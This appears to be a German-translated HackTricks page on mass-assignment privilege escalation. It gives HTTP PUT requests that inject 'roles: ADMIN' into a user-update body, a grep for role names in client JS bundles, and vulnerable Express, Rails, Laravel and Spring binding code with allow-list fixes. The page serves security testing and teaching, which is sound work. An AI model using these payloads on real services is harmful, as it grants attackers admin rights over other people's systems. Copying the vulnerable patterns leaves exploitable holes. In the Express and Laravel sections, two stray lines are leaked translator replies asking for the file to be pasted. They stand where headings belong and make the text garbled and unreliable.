Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding

Reading time: 7 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Mass assignment (a.k.a. insecure object binding) tritt auf, wenn ein API/Controller vom Benutzer gelieferte JSON-Daten entgegennimmt und sie direkt an ein serverseitiges Modell/Entity bindet, ohne eine explizite Allow-List von Feldern. Wenn privilegierte Eigenschaften wie roles, isAdmin, status oder ownership-Felder bindbar sind, kann jeder authentifizierte Benutzer Privilegien eskalieren oder geschützten Zustand manipulieren.

Dies ist ein Broken Access Control-Problem (OWASP A01:2021), das oft vertikale Privilegieneskalation ermöglicht, z. B. durch Setzen von roles=ADMIN oder ähnlichem. Häufig betroffen sind Frameworks, die automatisches Binden von Request Bodies an Datenmodelle unterstützen (Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs, etc.).

1) Finding Mass Assignment

Suche nach Self-Service-Endpunkten, die das eigene Profil oder ähnliche Ressourcen aktualisieren:

  • PUT/PATCH /api/users/{id}
  • PATCH /me, PUT /profile
  • PUT /api/orders/{id}

Heuristiken, die auf Mass Assignment hinweisen:

  • Die Antwort spiegelt serververwaltete Felder wider (z. B. roles, status, isAdmin, permissions), auch wenn du sie nicht gesendet hast.
  • Client-Bundles enthalten Rollen-Namen/IDs oder andere privilegierte Attributnamen, die in der App verwendet werden (admin, staff, moderator, internal flags) und auf ein bindbares Schema hinweisen.
  • Backend-Serializer akzeptieren unbekannte Felder, ohne sie abzulehnen.

Schneller Testablauf:

  1. Perform a normal update with only safe fields and observe the full JSON response structure (this leaks the schema).
  2. Wiederhole das Update und füge ein manipuliertes privilegiertes Feld in den Body ein. Wenn die Antwort die Änderung beibehält, hast du wahrscheinlich Mass Assignment.

Example baseline update revealing schema:

http
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}

Antwort deutet auf privilegierte Felder hin:

http
HTTP/1.1 200 OK
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}

2) Ausnutzung – Rollen-Eskalation via Mass Assignment

Sobald Sie die bindbare Struktur kennen, fügen Sie die privilegierte Eigenschaft in derselben Anfrage hinzu.

Beispiel: Setzen Sie roles auf ADMIN in Ihrer eigenen Benutzerressource:

http
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}

Wenn die Response die Rollenänderung beibehält, re-authenticate oder tokens/claims refreshen, damit die App eine admin-context session ausstellt und privilegierte UI/endpoints anzeigt.

Hinweise

  • Role identifiers und Shapes werden häufig aus dem client JS bundle oder den API docs enumeriert. Suche nach Strings wie "roles", "ADMIN", "STAFF" oder numerischen role IDs.
  • Wenn tokens claims enthalten (z. B. JWT roles), ist in der Regel ein logout/login oder ein token refresh erforderlich, um die neuen Privilegien wirksam werden zu lassen.

3) Client Bundle Recon für Schema und Role IDs

  • Inspect minified JS bundles for role strings and model names; source maps may reveal DTO shapes.
  • Suche nach arrays/maps von roles, permissions oder feature flags. Erstelle payloads, die genau den property names und der Nesting-Struktur entsprechen.
  • Typische Indikatoren: role name constants, dropdown option lists, validation schemas.

Handy greps gegen ein heruntergeladenes Bundle:

bash
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u

4) Framework-Fallstricke und sichere Muster

Die Schwachstelle entsteht, wenn Frameworks req.body direkt an persistente Entitäten binden. Nachfolgend sind häufige Fehler und minimale, sichere Muster aufgeführt.

Node.js (Express + Mongoose)

Anfällig:

js
// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});

Bitte füge den Inhalt der Datei src/pentesting-web/mass-assignment-cwe-915.md oder den zu übersetzenden Markdown-Text ein. Ich übersetze den englischen Text ins Deutsche und lasse dabei Code, Tags, Links, Pfade sowie Hack-/Cloud-Begriffe unverändert.

js
// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.

Ruby on Rails

Anfällig (keine strong parameters):

rb
def update
@user.update(params[:user]) # roles/is_admin can be set by client
end

Behebung (strong params + keine privilegierten Felder):

rb
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end

Laravel (Eloquent)

Anfällig:

php
protected $guarded = []; // Everything mass-assignable (bad)

Bitte füge den Inhalt der Datei src/pentesting-web/mass-assignment-cwe-915.md hier ein oder gib an, welchen Abschnitt ich übersetzen/fixen soll. Ich übersetze ins Deutsche und behalte Markdown, Code, Links, Tags und Pfade unverändert, gemäß deinen Vorgaben.

php
protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin

Spring Boot (Jackson)

Anfälliges Muster:

java
// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }

Auf ein DTO mit nur erlaubten Feldern abbilden und Autorisierung erzwingen:

java
record UserUpdateDTO(String firstName, String lastName, String nickName) {}

Kopiere dann serverseitig nur die erlaubten Felder vom DTO in die Entity und behandle Rollenänderungen nur in admin-exklusiven Handlern nach RBAC-Prüfungen. Verwende @JsonIgnore für privilegierte Felder, falls nötig, und lehne unbekannte Eigenschaften ab.

Go (encoding/json)

  • Stelle sicher, dass privilegierte Felder json:"-" verwenden und validiere mit einem DTO-Struct, das nur erlaubte Felder enthält.
  • Erwäge decoder.DisallowUnknownFields() und eine Validierung der Invarianten nach dem Binden (Rollen dürfen sich in Self-Service-Routen nicht ändern).

Quellen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks